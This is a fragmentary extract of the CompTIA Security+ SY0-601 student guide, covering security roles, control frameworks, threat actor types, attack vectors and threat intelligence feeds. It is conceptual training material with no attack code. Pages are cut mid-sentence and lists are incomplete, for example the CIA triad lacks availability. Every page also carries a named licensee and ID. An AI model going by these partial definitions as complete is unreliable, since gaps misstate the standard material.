Downloadable Official CompTIA Security+ Student Guide
Downloadable Official CompTIA Security+ Student Guide
CompTIA
Security+
Student Guide
(Exam SY0-601)
Course Edition: 1.0
Acknowledgments
Notices
Disclaimer
While CompTIA, Inc., takes care to ensure the accuracy and quality of these materials, we cannot guarantee their accuracy,
and all materials are provided without any warranty whatsoever, including, but not limited to, the implied warranties of
merchantability or fitness for a particular purpose. The use of screenshots, photographs of another entity's products, or
another entity's product name or service in this book is for editorial purposes only. No such use should be construed to imply
sponsorship or endorsement of the book by nor any affiliation of such entity with CompTIA. This courseware may contain links
to sites on the Internet that are owned and operated by third parties (the "External Sites"). CompTIA is not responsible for
the availability of, or the content located on or through, any External Site. Please contact CompTIA if you have any concerns
regarding such links or External Sites.
Trademark Notice
CompTIA®, Security+®, and the CompTIA logo are registered trademarks of CompTIA, Inc., in the U.S. and other countries.
All other product and service names used may be common law or registered trademarks of their respective proprietors.
Copyright Notice
Copyright © 2020 CompTIA, Inc. All rights reserved. Screenshots used for illustrative purposes are the property of the software
proprietor. Except as permitted under the Copyright Act of 1976, no part of this publication may be reproduced or distributed
in any form or by any means, or stored in a database or retrieval system, without the prior written permission of CompTIA,
3500 Lacey Road, Suite 100, Downers Grove, IL 60515-5439.
This book conveys no rights in the software or other products about which it was written; all use or licensing of such software
or other products is the responsibility of the user according to terms and conditions of the owner. If you believe that this
book, related materials, or any other CompTIA materials are being reproduced or transmitted without permission, please call
1-866-835-8020 or visit https://help.comptia.org.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Table of Contents | iii
Table of Contents
Topic 1B: Compare and Contrast Security Control and Framework Types...... 8
Table of Contents
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
iv | Table of Contents
Table of Contents
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Table of Contents | v
Topic 17B: Utilize Appropriate Data Sources for Incident Response............ 465
Topic 18B: Explain Key Aspects of Digital Forensics Evidence Acquisition..... 490
Table of Contents
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
vi | Table of Contents
Topic 21A: Explain the Importance of Physical Site Security Controls......... 540
Topic 21B: Explain the Importance of Physical Host Security Controls........ 548
Glossary...........................................................................................................................G-1
Table of Contents
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
About This Course
CompTIA is a not-for-profit trade association with the purpose of advancing the
interests of IT professionals and IT channel organizations and its industry-leading IT
certifications are an important part of that mission. CompTIA's Security+ certification is
a foundation-level certificate designed for IT administrators with two years' experience
whose job role is focused on system security.
The CompTIA Security+ exam will certify the successful candidate has the knowledge
and skills required to assist with cybersecurity duties in small and large organizations.
These duties include assessments and monitoring; secure network, host, app, and
cloud provisioning; data governance; and incident analysis and response.
CompTIA Security+ is the first security certification IT professionals should earn. It
establishes the core knowledge required of any cybersecurity role and provides a
springboard to intermediate-level cybersecurity jobs. Security+ incorporates best
practices in hands-on troubleshooting to ensure security professionals have practical
security problem-solving skills. Cybersecurity professionals with Security+ know how to
address security incidents—not just identify them.
Security+ is compliant with ISO 17024 standards and approved by the US DoD to meet
directive 8140/8570.01-M requirements. Regulators and government rely on ANSI
accreditation because it provides confidence and trust in the outputs of an accredited
program.
comptia.org/certifications/security
Course Description
Course Objectives
This course can benefit you in two ways. If you intend to pass the CompTIA Security+
(Exam SY0-601) certification examination, this course can be a significant part of your
preparation. But certification is not the only key to professional success in the field of
computer security. Today's job market demands individuals with demonstrable skills,
and the information and activities in this course can help you build your cybersecurity
skill set so that you can confidently perform your duties in any entry-level security role.
On course completion, you will be able to:
• Compare security roles and security controls
• Perform security assessments and identify social engineering attacks and malware
types
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
viii | Preface
Target Student
The Official CompTIA Security+ Guide (Exam SY0-601) is the primary course you will need
to take if your job responsibilities include securing network services, devices, and data
confidentiality/privacy in your organization. You can take this course to prepare for the
CompTIA Security+ (Exam SY0-601) certification examination.
Prerequisites
• To ensure your success in this course, you should have basic Windows and Linux
administrator skills and the ability to implement fundamental networking appliances
and IP addressing concepts. CompTIA A+ and Network+ certifications, or equivalent
knowledge, and six to nine months' experience in networking, including configuring
security parameters, are strongly recommended.
The prerequisites for this course might differ significantly from the prerequisites for
the CompTIA certification exams. For the most up-to-date information about the exam
prerequisites, complete the form on this page: comptia.org/training/resources/exam-
objectives
As You Learn
At the top level, this course is divided into lessons, each representing an area of
competency within the target job roles. Each lesson is composed of a number of topics.
A topic contains subjects that are related to a discrete job task, mapped to objectives
and content examples in the CompTIA exam objectives document. Rather than follow
the exam domains and objectives sequence, lessons and topics are arranged in order
of increasing proficiency. Each topic is intended to be studied within a short period
(typically 30 minutes at most). Each topic is concluded by one or more activities,
designed to help you to apply your understanding of the study notes to practical
scenarios and tasks.
Additional to the study content in the lessons, there is a glossary of the terms and
concepts used throughout the course. There is also an index to assist in locating
particular terminology, concepts, technologies, and tasks within the lesson and topic
content.
In many electronic versions of the book, you can click links on key words in the topic content
to move to the associated glossary definition, and on page references in the index to move
to that term in the content. To return to the previous location in the document after clicking
a link, use the appropriate functionality in your eBook viewing software.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Preface | ix
A Caution note makes you aware of places where you need to be par-
ticularly careful with your actions, settings, or decisions so that you can
be sure to get the desired results of an activity or task.
As You Review
Any method of instruction is only as effective as the time and effort you, the student,
are willing to invest in it. In addition, some of the information that you learn in class
may not be important to you immediately, but it may become important later. For this
reason, we encourage you to spend some time reviewing the content of the course
after your time in the classroom.
Following the lesson content, you will find a table mapping the lessons and topics to
the exam domains, objectives, and content examples. You can use this as a checklist as
you prepare to take the exam, and review any content that you are uncertain about.
As a Reference
The organization and layout of this book make it an easy-to-use resource for future
reference. Guidelines can be used during class and as after-class references when
you're back on the job and need to refresh your understanding. Taking advantage of
the glossary, index, and table of contents, you can use this book as a first source of
definitions, background information, and summaries.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 1
Comparing Security Roles and
Security Controls
LESSON INTRODUCTION
Security is an ongoing process that includes assessing requirements, setting up
organizational security systems, hardening them, monitoring them, responding to
attacks in progress, and deterring attackers. As a security professional, it is important
that you understand how the security function is implemented as departments or units
and professional roles within different types of organizations. You must also be able to
explain the importance of compliance factors and best practice frameworks in driving
the selection of security controls.
Lesson Objectives
In this lesson, you will:
• Compare and contrast information security roles.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
2 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 1A
Compare and Contrast Information
Security Roles
Information Security
Information security (or infosec) refers to the protection of data resources from
unauthorized access, attack, theft, or damage. Data may be vulnerable because of
the way it is stored, the way it is transferred, or the way it is processed. The systems
used to store, transmit, and process data must demonstrate the properties of security.
Secure information has three properties, often referred to as the CIA Triad:
• Confidentiality means that certain information should only be known to certain
people.
• Integrity means that the data is stored and transferred as intended and that any
modification is authorized.
The triad can also be referred to as "AIC" to avoid confusion with the Central Intelligence
Agency.
Some security models and researchers identify other properties that secure systems
should exhibit. The most important of these is non-repudiation. Non-repudiation
means that a subject cannot deny doing something, such as creating, modifying, or
sending a resource. For example, a legal document, such as a will, must usually be
witnessed when it is signed. If there is a dispute about whether the document was
correctly executed, the witness can provide evidence that it was.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 3
Cybersecurity Framework
Within the goal of ensuring information security, cybersecurity refers specifically
to provisioning secure processing hardware and software. Information security
and cybersecurity tasks can be classified as five functions, following the framework
developed by the National Institute of Standards and Technology (NIST) (nist.gov/
cyberframework/online-learning/five-functions):
• Identify—develop security policies and capabilities. Evaluate risks, threats, and
vulnerabilities and recommend security controls to mitigate them.
• Set up and maintain document access control and user privilege profiles.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
4 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Monitor audit logs, review user privileges, and document access controls.
• Create and test business continuity and disaster recovery plans and procedures.
However, the goals of a network manager are not always well-aligned with the
goals of security; network management focuses on availability over confidentiality.
Consequently, security is increasingly thought of as a dedicated function or business
unit with its own management structure.
• Managers may have responsibility for a domain, such as building control, ICT, or
accounting.
• Technical and specialist staff have responsibility for implementing, maintaining, and
monitoring the policy. Security might be made a core competency of systems and
network administrators, or there may be dedicated security administrators. One
such job title is Information Systems Security Officer (ISSO).
• Non-technical staff have the responsibility of complying with policy and with any
relevant legislation.
• External responsibility for security (due care or liability) lies mainly with directors
or owners, though again it is important to note that all employees share some
measure of responsibility.
NIST's National Initiative for Cybersecurity Education (NICE) categorizes job tasks and job
roles within the cybersecurity industry (gov/itl/applied-cybersecurity/nice/nice-framework-
resource-center).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 5
DevSecOps
Network operations and use of cloud computing make ever-increasing use of
automation through software code. Traditionally, software code would be the
responsibility of a programming or development team. Separate development and
operations departments or teams can lead to silos, where each team does not work
effectively with the other.
Development and operations (DevOps) is a cultural shift within an organization to
encourage much more collaboration between developers and system administrators.
By creating a highly orchestrated environment, IT personnel and developers can build,
test, and release software faster and more reliably. Many consider a DevOps approach
to administration as the only way organizations can take full advantage of the potential
benefits offered by cloud service providers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
6 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Incident Response
A dedicated cyber incident response team (CIRT)/computer security incident
response team (CSIRT)/computer emergency response team (CERT) as a single point-of-
contact for the notification of security incidents. This function might be handled by the
SOC or it might be established as an independent business unit.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 7
Review Activity:
Information Security Roles
Answer the following questions:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
8 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 1B
Compare and Contrast Security Control
and Framework Types
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 9
Although it uses a more complex scheme, it is worth being aware of the way the National
Institute of Standards and Technology (NIST) classifies security controls (nvlpubs.nist.gov/
nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf).
• Detective—the control may not prevent or deter access, but it will identify and
record any attempted or successful intrusion. A detective control operates during
the progress of an attack. Logs provide one of the best examples of detective-type
controls.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
10 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 11
NIST's Risk Management Framework (RMF) pre-dates the CSF. Where the CSF focuses
on practical cybersecurity for businesses, the RMF is more prescriptive and principally
intended for use by federal agencies (csrc.nist.gov/projects/risk-management/rmf-
overview).
As well as its cybersecurity and risk frameworks, NIST is responsible for issuing the
Federal Information Processing Standards (FIPS) plus advisory guides called Special
Publications (csrc.nist.gov/publications/sp). Many of the standards and technologies
covered in CompTIA Security+ are discussed in these documents.
ISO 31K
Where ISO 21K is a cybersecurity framework, ISO 31K (iso.org/iso-31000-risk-
management.html) is an overall framework for enterprise risk management (ERM).
ERM considers risks and opportunities beyond cybersecurity by including financial,
customer service, competition, and legal liability factors. ISO 31K establishes best
practices for performing risk assessments.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
12 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
(AICPA). These audits are designed to assure consumers that service providers—
notably cloud providers, but including any type of hosted or third-party service—
meet professional standards (aicpa.org/interestareas/frc/assuranceadvisoryservices/
serviceorganization-smanagement.html). Within SSAE No. 18 (the current specification),
there are several levels of reporting:
• Service Organization Control (SOC2)— evaluates the internal controls implemented
by the service provider to ensure compliance with Trust Services Criteria (TSC) when
storing and processing customer data. TSC refers to security, confidentiality, integrity,
availability, and privacy properties. An SOC2 Type I report assesses the system design,
while a Type II report assesses the ongoing effectiveness of the security architecture
over a period of 6-12 months. SOC2 reports are highly detailed and designed to
be restricted. They should only be shared with the auditor and regulators and with
important partners under non disclosure agreement (NDA) terms.
• SOC3—a less detailed report certifying compliance with SOC2. SOC3 reports can be
freely distributed.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 13
• National Checklist Program (NCP) by NIST provides checklists and benchmarks for a
variety of operating systems and applications (nvd.nist.gov/ncp/repository).
Application Servers
Most application architectures use a client/server model. This means that part of the
application is a client software program, installed and run on separate hardware to
the server application code. The client interacts with the server over a network. Attacks
can therefore be directed at the local client code, at the server application, or at the
network channel between them. As well as coding issues, the applications need to take
account of platform issues. The client application might be running in a computing host
alongside other, potentially malicious, software. Code that runs on the client should
not be trusted. The server-side code should implement routines to verify that input
conforms to what is expected.
Some regulations have specific cybersecurity control requirements; others simply mandate
"best practice," as represented by a particular industry or international framework. It may
be necessary to perform mapping between different industry frameworks, such as NIST
and ISO 27K, if a regulator specifies the use of one but not another. Conversely, the use of
frameworks may not be mandated as such, but auditors are likely to expect them to be in
place as a demonstration of a strong and competent security program.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
14 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
is a distinct concept from security. Privacy requires that collection and processing
of personal information be both secure and fair. Fairness and the right to privacy,
as enacted by regulations such as the European Union's General Data Protection
Regulation (GDPR), means that personal data cannot be collected, processed, or
retained without the individual's informed consent. Informed consent means that the
data must be collected and processed only for the stated purpose, and that purpose
must be clearly described to the user in plain language, not legalese. GDPR (ico.org.
uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-
regulation-gdpr) gives data subjects rights to withdraw consent, and to inspect, amend,
or erase data held about them.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 15
Review Activity:
Security Control and Framework Types
Answer the following questions:
1. You have implemented a secure web gateway that blocks access to a social
networking site. How would you categorize this type of security control?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
16 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Lesson 1
Summary
You should be able to compare and contrast security controls using categories and
functional types. You should also be able to explain how regulations, frameworks, and
benchmarks are used to develop and validate security policies and control selection.
• Assign roles so that security tasks and responsibilities are clearly understood and
that impacts to security are assessed and mitigated across the organization.
• Identify and assess the laws and industry regulations that impose compliance
requirements on your business.
• Create a matrix of security controls that are currently in place to identify categories
and functions—consider deploying additional controls for any unmatched
capabilities.
• Evaluate security capabilities against framework tiers and identify goals for
developing additional cybersecurity competencies and improving overall
information security assurance.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 2
Explaining Threat Actors and
Threat Intelligence
LESSON INTRODUCTION
To make an effective security assessment, you must be able to explain strategies
for both defense and attack. Your responsibilities are likely to lie principally in
defending assets, but to do this you must be able to explain the tactics, techniques,
and procedures of threat actors. You must also be able to differentiate the types and
capabilities of threat actors. As the threat landscape is continually evolving, you must
also be able to identify reliable sources of threat intelligence and research.
Lesson Objectives
In this lesson, you will:
• Explain threat actor types and attack vectors.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
18 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 2A
Explain Threat Actor Types and
Attack Vectors
Classifying and evaluating the capabilities of threat actor types enables you to assess
and mitigate risks more effectively. Understanding the methods by which threat actors
infiltrate networks and systems is essential for you to assess the attack surface of your
networks and deploy controls to block attack vectors.
• Risk is the likelihood and impact (or consequence) of a threat actor exploiting
a vulnerability. To assess risk, you identify a vulnerability and then evaluate the
likelihood of it being exploited by a threat and the impact that a successful exploit
would have.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 19
These definitions and more information on risk management are contained in NIST's SP
800-30 (nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-30r1.pdf).
Internal/External
An external threat actor or agent is one that has no account or authorized access
to the target system. A malicious external threat must infiltrate the security system
using malware and/or social engineering. Note that an external actor may perpetrate
an attack remotely or on-premises (by breaking into the company's headquarters,
for instance). It is the threat actor that is defined as external, rather than the
attack method.
Conversely, an internal (or insider) threat actor is one that has been granted
permissions on the system. This typically means an employee, but insider threat can
also arise from contractors and business partners.
Intent/Motivation
Intent describes what an attacker hopes to achieve from the attack, while motivation
is the attacker's reason for perpetrating the attack. A malicious threat actor could
be motivated by greed, curiosity, or some sort of grievance, for instance. The intent
could be to vandalize and disrupt a system or to steal something. Threats can be
characterized as structured or unstructured (or targeted versus opportunistic)
depending on the degree to which your own organization is targeted specifically. For
example, a criminal gang attempting to steal customers' financial data is a structured,
targeted threat; a script kiddie launching some variant on the "I Love You" email worm
is an unstructured, opportunistic threat.
Malicious intents and motivations can be contrasted with accidental or unintentional
threat actors and agents. Unintentional threat actors represents accidents, oversights,
and other mistakes.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
20 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Hackers
Hacker describes an individual who has the skills to gain access to computer systems
through unauthorized or unapproved means. Originally, hacker was a neutral term for
a user who excelled at computer programming and computer system administration.
Hacking into a system was a sign of technical skill and creativity that gradually
became associated with illegal or malicious system intrusions. The terms black hat
(unauthorized) and white hat (authorized) are used to distinguish these motivations.
Of course, between black and white lie some shades of gray. A gray hat hacker (semi-
authorized) might try to find vulnerabilities in a product or network without seeking the
approval of the owner; but they might not try to exploit any vulnerabilities they find. A
gray hat might seek voluntary compensation of some sort (a bug bounty), but will not
use an exploit as extortion. A white hat hacker always seeks authorization to perform
penetration testing of private and proprietary systems.
Script Kiddies
A script kiddie is someone who uses hacker tools without necessarily understanding
how they work or having the ability to craft new attacks. Script kiddie attacks might
have no specific target or any reasonable goal other than gaining attention or proving
technical abilities.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 21
Researchers such as FireEye report on the activities of organized crime and nation state actors.
(Screenshot used with permission from fireeye.com.)
State actors will work at arm's length from the national government, military, or
security service that sponsors and protects them, maintaining "plausible deniability."
They are likely to pose as independent groups or even as hacktivists. They may wage
false flag campaigns that try to implicate other states (media.kasperskycontenthub.
com/wp-content/uploads/sites/43/2019/11/20151759/KSB2019_APT-predictions-2020_
web.pdf).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
22 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
There is the blurred case of former insiders, such as ex-employees now working at another
company or who have been dismissed and now harbor a grievance. These can be classified
as internal threats or treated as external threats with insider knowledge, and possibly some
residual permissions, if effective offboarding controls are not in place.
CERT identifies the main motivators for malicious insider threats as sabotage,
financial gain, and business advantage. Like external threats, insider threats can be
opportunistic or targeted. Again, the key point here is to identify likely motivations,
such as employees who might harbor grievances or those likely to perpetrate fraud.
An employee who plans and executes a campaign to modify invoices and divert funds
is launching a structured attack; an employee who tries to guess the password on
the salary database a couple of times, having noticed that the file is available on the
network, is perpetrating an opportunistic attack. You must also assess the possibility
that an insider threat may be working in collaboration with an external threat actor
or group.
Insider threats can be categorized as unintentional. An unintentional or inadvertent
insider threat is a vector for an external actor, or a separate—malicious—internal
actor to exploit, rather than a threat actor in its own right. Unintentional threats usually
arise from lack of awareness or from carelessness, such as users demonstrating poor
password management. Another example of unintentional insider threat is the concept
of shadow IT, where users purchase or introduce computer hardware or software to
the workplace without the sanction of the IT department and without going through a
procurement and security analysis process. The problem of shadow IT is exacerbated
by the proliferation of cloud services and mobile devices, which are easy for users to
obtain. Shadow IT creates a new unmonitored attack surface for malicious adversaries
to exploit.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 23
or smartphone. For some exploits, simply connecting the media may be sufficient to
run the malware. In many cases, the attacker may need the employee to open a file
in a vulnerable application or run a setup program.
• Email—the attacker sends a malicious file attachment via email, or via any other
communications system that allows attachments. The attacker needs to use social
engineering techniques to persuade or trick the user into opening the attachment.
• Remote and wireless—the attacker either obtains credentials for a remote access
or wireless connection to the network or cracks the security protocols used for
authentication. Alternatively, the attacker spoofs a trusted resource, such as an
access point, and uses it to perform credential harvesting and then uses the stolen
account details to access the network.
• Supply chain—rather than attack the target directly, a threat actor may seek
ways to infiltrate it via companies in its supply chain. One high-profile example of
this is the Target data breach, which was made via the company's HVAC supplier
(krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company).
• Cloud—many companies now run part or all of their network services via Internet-
accessible clouds. The attacker only needs to find one account, service, or host with
weak credentials to gain access. The attacker is likely to target the accounts used to
develop services in the cloud or manage cloud systems. They may also try to attack
the cloud service provider (CSP) as a way of accessing the victim system.
Sophisticated threat actors will make use of multiple vectors. They are likely to plan a
multi-stage campaign, rather than a single "smash and grab" type of raid.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
24 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Threat Actor Types and Attack Vectors
Answer the following questions:
2. True or false? Nation state actors primarily only pose a risk to other states.
5. Which three types of threat actor are most likely to have high levels
of funding?
6. You are assisting with writing an attack surface assessment report for a
small company. Following the CompTIA syllabus, which two potential attack
vectors have been omitted from the following headings in the report? Direct
access, Email, Remote and wireless, Web and social media, Cloud.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 25
Topic 2B
Explain Threat Intelligence Sources
As a security professional, you must continually refresh and expand your knowledge of
both security technologies and practices and adversary tactics and techniques. As well
as staying up-to-date on a personal level, you will also need to select and deploy threat
intelligence platforms. You need to be able to identify and evaluate sources of threat
intelligence and research and to use these resources to enhance security controls.
• Dark web—sites, content, and services accessible only over a dark net. While there
are dark web search engines, many sites are hidden from them. Access to a dark
web site via its URL is often only available via "word of mouth" bulletin boards.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
26 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Using the TOR browser to view the AlphaBay market, now closed by law enforcement.
(Screenshot used with permission from Security Onion.)
Investigating these dark web sites and message boards is a valuable source of
counterintelligence. The anonymity of dark web services has made it easy for
investigators to infiltrate the forums and webstores that have been set up to exchange
stolen data and hacking tools. As adversaries react to this, they are setting up new
networks and ways of identifying law enforcement infiltration. Consequently, dark nets
and the dark web represent a continually shifting landscape.
Threat data can be packaged as feeds that integrate with a security information and
event management (SIEM) platform. These feeds are usually described as cyber
threat intelligence (CTI) data. The data on its own is not a complete security solution
however. To produce actionable intelligence, the threat data must be correlated with
observed data from customer networks. This type of analysis is often powered by
artificial intelligence (AI) features of the SIEM.
Threat intelligence platforms and feeds are supplied as one of three different
commercial models:
• Closed/proprietary—the threat research and CTI data is made available as a paid
subscription to a commercial threat intelligence platform. The security solution
provider will also make the most valuable research available early to platform
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 27
subscribers in the form of blogs, white papers, and webinars. Some examples of
such platforms include:
• FireEye (fireeye.com/solutions/cyber-threat-intelligence/threat-intelligence-
subscriptions.html)
IBM X-Force Exchange threat intelligence portal. (Image copyright 2019 IBM Security
exchange.xforce.ibmcloud.com.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
28 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Spamhaus (spamhaus.org/organization)
• VirusTotal (virustotal.com)
As well as referring to open-source threat research providers, OSINT can mean any
intelligence derived from publicly available information. OSINT is a common reconnaissance
technique where the attacker harvests domains, IP address ranges, employees, and other
data that will assist in identifying attack vectors. Companies should also monitor public
networks for signs of attack planning (chatter on forums) and breaches (confidential
information or account credentials posted to online forums). Most commercial providers
offer monitoring services, which can include dark web sources (fireeye.com/content/dam/
fireeye-www/products/pdfs/pf/intel/ds-digital-threat-monitoring.pdf).
As well as a source of information, social media should also be monitored for threat data
(trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/hunting-threats-on-
twitter).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 29
TTPs describe what and how an adversary acts and Indicators describe how to recognize
what those actions might look like. (stixproject.github.io/documentation/concepts/
ttp-vs-indicator)
As there are many different targets and vectors of an attack, so too are there many
different potential IoCs. The following is a list of some IoCs that you may encounter:
• Unauthorized software and files
• Suspicious emails
• Rogue hardware
An IoC can be definite and objectively identifiable, like a malware signature, but often
IoCs can only be described with confidence via the correlation of many data points.
Because these IoCs are often identified through patterns of anomalous activity rather
than single events, they can be open to interpretation and therefore slow to diagnose.
Consequently, threat intelligence platforms use AI-backed analysis to speed up
detection without overwhelming analysts' time with false positives.
Strictly speaking, an IoC is evidence of an attack that was successful. The term indicator of
attack (IoA) is sometimes also used for evidence of an intrusion attempt in progress.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
30 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
STIX 2 Relationship example. (Icon images © Copyright 2016 Bret Jordan. Licensed under the Creative
Commons Attribution-ShareAlike (CC BY-SA) License, Version 4.0. (freetaxii.github.io/stix2-icons.html.)
Where STIX provides the syntax for describing CTI, the Trusted Automated eXchange
of Indicator Information (TAXII) protocol provides a means for transmitting CTI data
between servers and clients. For example, a CTI service provider would maintain a
repository of CTI data. Subscribers to the service obtain updates to the data to load
into analysis tools over TAXII. This data can be requested by the client (referred to as a
collection), or the data can be pushed to subscribers (referred to as a channel).
Threat Maps
A threat map is an animated graphic showing the source, target, and type of attacks
that have been detected by a CTI platform. The security solutions providers publish
such maps showing global attacks on their customers' systems (fortinet.com/
fortiguard/threat-intelligence/threat-map).
File/Code Repositories
A file/code repository such as virustotal.com holds signatures of known malware code.
The code samples derive from live customer systems and (for public repositories) files
that have been uploaded by subscribers.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 31
Predictive Analysis
Identifying the signs of a past attack or the presence of live attack tools on a network
quickly is valuable. However, one of the goals of using AI-backed threat intelligence is
to perform predictive analysis, or threat forecasting. This means that the system can
anticipate a particular type of attack and possibly the identity of the threat actor before
the attack is fully realized. For example, the system tags references to a company,
related IP addresses, and account names across a range of ingested data from dark
web sources, web searches, social media posts, phishing email attempts, and so on.
The analysis engine associates this "chatter" with IP addresses that it can correlate with
a known adversary group. This gives the target advance warning that an attack is in the
planning stages and more time to prepare an effective defense.
Such concrete threat forecasting is not a proven capability of any commercial threat
intelligence platform at the time of writing. However, predictive analysis can inform risk
assessment by giving more accurate, quantified measurements of the likelihood and
impact (cost) of breach-type events.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
32 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Threat Intelligence Sources
Answer the following questions:
3. You are assessing whether to join AIS. What is AIS and what protocol should
your SIEM support in order to connect to AIS servers?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 33
Lesson 2
Summary
You should be able to explain how to assess external and insider threat actor types
in terms of intent and capability. You should also be able to summarize options for
implementing threat intelligence platforms and data sources.
• Identify sources of threat research, especially those that are directly relevant to your
industry sector. Schedule time to keep up-to-date with threat trends and security
best practices.
• Evaluate the use of different proprietary and open-source threat data feeds,
considering that sector-specific data might be of most use.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 3
Performing Security Assessments
LESSON INTRODUCTION
Security assessment refers to processes and tools that evaluate the attack surface.
With knowledge of adversary tactics and capabilities, you can assess whether points on
the attack surface are potentially vulnerable attack vectors. The output of assessment
is recommendations for deploying, enhancing, or reconfiguring security controls to
mitigate the risk that vulnerabilities are exploitable by threat actors.
Lesson Objectives
In this lesson, you will:
• Assess organizational security with network reconnaissance tools.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
36 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 3A
Assess Organizational Security with
Network Reconnaissance Tools
Reconnaissance is a type of assessment activity that maps the potential attack surface
by identifying the nodes and connections that make up the network. You will often
need to run scans using both command-line and GUI topology discovery tools. You
will need to report host configurations using fingerprinting tools and capture and
analyze network traffic. You should also understand how tools can be used to operate
backdoor connections to a host and to covertly exfiltrate data.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 37
Performing a ping sweep in Windows with a For loop—Searching multiple octets requires nested loops.
